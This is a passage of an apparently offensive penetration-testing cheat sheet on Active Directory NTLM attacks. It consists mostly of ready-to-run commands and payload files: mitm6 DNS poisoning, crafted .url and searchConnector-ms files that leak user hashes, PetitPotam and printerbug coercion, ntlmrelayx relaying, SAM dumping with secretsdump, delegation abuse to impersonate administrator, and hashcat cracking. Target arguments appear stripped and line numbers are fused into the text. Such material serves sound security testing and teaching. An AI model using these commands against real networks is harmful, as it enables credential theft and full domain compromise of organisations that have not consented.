organizations, IPv6 is left unused, which means that an adversary could hijack the DHCP requests for IPv6 addresses and force authentication attempts to the attacker-controlled system. We do that by setting our system as the primary DNS server. 39 | - Spoof any requests for internal resources 40 | ``` 41 | sudo python3 mitm6.py -d --ignore-nofqdn 42 | ``` 43 | 44 | ### Files 45 | - It is possible to force authentication if a user opens a file location in explorer or files itself. 46 | - Will authenticate to our attacking machine as the user 47 | - Tools that can create these files: 48 | - https://github.com/mdsecactivebreach/Farmer - Windows 49 | - https://github.com/Greenwolf/ntlm_theft - Python 50 | 51 | #### Link file 52 | - Explorer automaticly connects if folder where the SearchConnector is, is opened. 53 | - On Windows right click --> New --> Shortcut --> and in the URL use 54 | - Creates a ```[SMB] NTLMv2-SSP Hash``` in responder, ```[*] SMBD-Thread-4:``` in ntlmrelayx. Can be used against relaying to SMB. 55 | ``` 56 | file:///test 57 | ``` 58 | 59 | #### URL file 60 | - Explorer automaticly connects if folder where the SearchConnector is, is opened. 61 | - Filename ```something.url``` 62 | - Creates a ```[SMB] NTLMv2-SSP Hash``` in responder, ```[*] SMBD-Thread-x:``` in ntlmrelayx. Can be used against relaying to SMB. 63 | ``` 64 | [InternetShortcut] 65 | URL=whatever 66 | WorkingDirectory=whatever 67 | IconFile=\\\%USERNAME%.icon 68 | IconIndex=1 69 | ``` 70 | 71 | #### SearchConnector 72 | - Explorer automaticly connects if folder where the SearchConnector is, is opened. 73 | - Actives the Windows Webclient service which can be used to authenticate a host again to the attacking IP with petitpotam. See #REFERENCE 74 | - Creates a ```[WebDAV] NTLMv2 Hash``` in responder, ```HTTPD: received``` in ntlmrelayx. Can be used against relaying to ldap, ldaps and SMB 75 | - https://www.bussink.net/webclient_activation/ 76 | - Filename ```Documents.searchConnector-ms``` 77 | ``` 78 | 79 | 80 | imageres.dll,-1002 81 | Microsoft Outlook 82 | false 83 | true 84 | //@80/test.ico 85 | 86 | {91475FE5-586B-4EBA-8D75-D17434B8CDF6} 87 | 88 | 89 | //@80/test 90 | 91 | 92 | ``` 93 | 94 | - For other filetypes check out the tools listed 95 | 96 | ### Force authentication 97 | #### Trigger target computer to authenticate to attacker machine 98 | - https://github.com/topotam/PetitPotam 99 | - https://github.com/dirkjanm/krbrelayx 100 | - Creates a ```[WebDAV] NTLMv2 Hash``` in responder, ```HTTPD: received``` in ntlmrelayx. Can be used against relaying to ldap, ldaps. 101 | - Will authenticate to our attacking machine as the computer account. Can be used for RBCD. 102 | ``` 103 | python3 PetitPotam.py -d -u -p @80/a 104 | 105 | python3 printerbug.py /@ @80/a 106 | ``` 107 | 108 | ## Relaying 109 | ### SMB relaying 110 | - Requirement: Only possible to hosts without SMB Signing 111 | 112 | #### Check for SMB hosts without SMB signing 113 | ``` 114 | crackmapexec smb --gen-relay-list smb_hosts_nosigning.txt 115 | ``` 116 | 117 | #### Relay requests SMB and dump SAM 118 | - We have to modify the ```/etc/responder/Responder.conf``` file and disable the HTTP and SMB servers (as NTLM relay will be our SMB and HTTP server). 119 | - the ```-d``` flag has now been changed from “Enable answers for NETBIOS domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False” to “Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False”. It should also be noted that ```-d``` as it is now CAN have an impact on your client’s network, as you are effectively poisoning the WPAD file over DHCP, which does not always revert back immediately once you stop the attack. It will likely require a reboot. 120 | ``` 121 | ntlmrelayx.py -tf smb_hosts_nosigning.txt -smb2support 122 | ``` 123 | 124 | #### Relay requests SMB and keep SMB sessions open 125 | - Use the ```socks``` option to be able to use the ```socks``` command to get a nice overview of the relayed attempts. It will also keep the SMB connection open indefinitely. 126 | 127 | ``` 128 | ntlmrelayx.py -tf smb_hosts_nosigning.txt -socks -smb2support 129 | 130 | # Get overview of all relay attempts 131 | ntlmrelayx> socks 132 | 133 | # Change socks proxy 134 | sudo vim /etc/proxychains4.conf 135 | socks4 127.0.0.1 1080 136 | 137 | # Use proxychains and it will ignore the password value and use the relay credential instead 138 | proxychains python3 secretsdump.py /:IDontCareAboutPassword@ 139 | 140 | # Also possible to access shares on the network, for example if user is not local admin 141 | proxychains python3 smbclient.py /:IDontCareAboutPassword@ 142 | ``` 143 | 144 | ### LDAP Relaying 145 | - Requires LDAP signing to be turned off (default) 146 | 147 | #### Check LDAP Signing 148 | - https://github.com/zyn3rgy/LdapRelayScan 149 | ``` 150 | python3 LdapRelayScan.py -method BOTH -dc-ip -u -p 151 | 152 | cme ldap -u -p -M ldap-signing 153 | ``` 154 | 155 | ### LDAP Relay force HTTP/WEBDAV requests 156 | - Requires HTTP/WEBDAV requests, because SMB signing is enabled by default. 157 | 158 | #### Scan for target with webclient active 159 | - https://github.com/Hackndo/WebclientServiceScanner 160 | ``` 161 | webclientservicescanner /:@ -dc-ip 162 | ``` 163 | 164 | #### If no targets, place file on share to activate webclients 165 | - https://www.bussink.net/webclient_activation/ 166 | - Filename ```Documents.searchConnector-ms``` 167 | ``` 168 | 169 | 170 | imageres.dll,-1002 171 | Microsoft Outlook 172 | false 173 | true 174 | //@80/test.ico 175 | 176 | {91475FE5-586B-4EBA-8D75-D17434B8CDF6} 177 | 178 | 179 | //@80/test 180 | 181 | 182 | ``` 183 | 184 | #### Enable the LDAP relay 185 | ``` 186 | ntlmrelayx.py -t ldap:// 187 | ``` 188 | 189 | #### Trigger target to authenticate to attacker machine 190 | - https://github.com/topotam/PetitPotam 191 | - https://github.com/dirkjanm/krbrelayx 192 | ``` 193 | python3 PetitPotam.py -d -u -p @80/a 194 | 195 | python3 printerbug.py /@ @80/a 196 | ``` 197 | 198 | - However, since printerbug and PetitPotam both needed authentication to work, we could have just used a tool like ldapdomaindump to directly bind to LDAP ourselves and dump the data directly. To do this unauthenticated use mitm6! 199 | 200 | ### LDAP Relay with Mitm6 201 | ``` 202 | sudo python3 mitm6.py -d --ignore-nofqdn 203 | ntlmrelayx.py -t ldap:// -wh -6 204 | ``` 205 | 206 | ### LDAPS Relaying 207 | - Relaying LDAPS can add a new computer account by abusing the fact that, by default, user are allowed to join domain up to 10 new computer objects 208 | - When possible, use the FQDN instead of the IP address. The IP address works most of the time, but FQDN looks cleaner and avoids SNI certificate conflicts. 209 | - Requires LDAPS binding to be turned off (default) 210 | 211 | #### Check LDAPS binding 212 | - https://github.com/zyn3rgy/LdapRelayScan 213 | ``` 214 | python3 LdapRelayScan.py -method BOTH -dc-ip -u -p 215 | ``` 216 | 217 | #### Enable the LDAPS relay 218 | - Can wait for mitm6 to poison or force it 219 | ``` 220 | sudo python3 mitm6.py -d --ignore-nofqdn 221 | 222 | ntlmrelayx.py -t ldaps:// --add-computer 223 | ``` 224 | 225 | #### Trigger target to authenticate to attacker machine 226 | - https://github.com/topotam/PetitPotam 227 | - https://github.com/dirkjanm/krbrelayx 228 | ``` 229 | python3 PetitPotam.py -d -u -p @80/a 230 | 231 | python3 printerbug.py /@ @80/a 232 | ``` 233 | 234 | - When computer account is created. This account can be used to enumerate the domain! 235 | 236 | ### Resource Based Constrained Delegation Webclient Attack 237 | - Requirements: 238 | - On a Domain Controller to have the LDAP server signing not enforced (default value) (Requires authentication to check) 239 | - On a Domain Controller to have the LDAPS channel binding not required (default value) 240 | - Able to add new machines accounts (default value this quota is 10) (Requires authentication to check) 241 | - On the network, machines with WebClient running (some OS version had this service running by default or use the webclient starting trick from DTMSecurity) (Requires authentication to check) 242 | - A DNS record pointing to the attacker’s machine (By default authenticated users can do this) (Requires authentication to add) 243 | 244 | #### Check LDAPS Binding 245 | - https://github.com/zyn3rgy/LdapRelayScan 246 | ``` 247 | python3 LdapRelayScan.py -method LDAPS -dc-ip 248 | ``` 249 | 250 | #### Start mitm6 and NTLMRelay 251 | ``` 252 | sudo python3 mitm6.py -d --ignore-nofqdn 253 | sudo ntlmrelayx.py -t ldaps:// --delegate-access 254 | ``` 255 | 256 | - When computer account is created. This account can be used to enumerate the domain! 257 | 258 | #### Check for a user to impersonate 259 | - Preferably a user that would be admin on the machine (Check BloodHound). 260 | - User should not be part of "Protected Users group" or accounts with the "This account is sensitive and cannot be delegated" right 261 | ``` 262 | $creds = Get-Credential 263 | Get-DomainUser -Credential $creds -Domain -Server | ? {!($_.memberof -Match "Protected Users")} | select samaccountname, memberof 264 | ``` 265 | 266 | #### Impersonate any user and exploit 267 | - Impersonate any user except those in groups "Protected Users" or accounts with the "This account is sensitive and cannot be delegated" right 268 | ``` 269 | getST.py /@ -spn cifs/ -impersonate administrator -dc-ip 270 | Export KRB5CCNAME=administrator.ccache 271 | python3 Psexec.py -k -no-pass 272 | python3 Secretsdump.py -k 273 | ``` 274 | 275 | ## Crack with Hashcat 276 | ``` 277 | hashcat -a 0 -m 5600 .\hash.txt .\wordlists\rockyou.txt -w3 -O 278 | ``` 279 | --------------------------------------------------------------------------------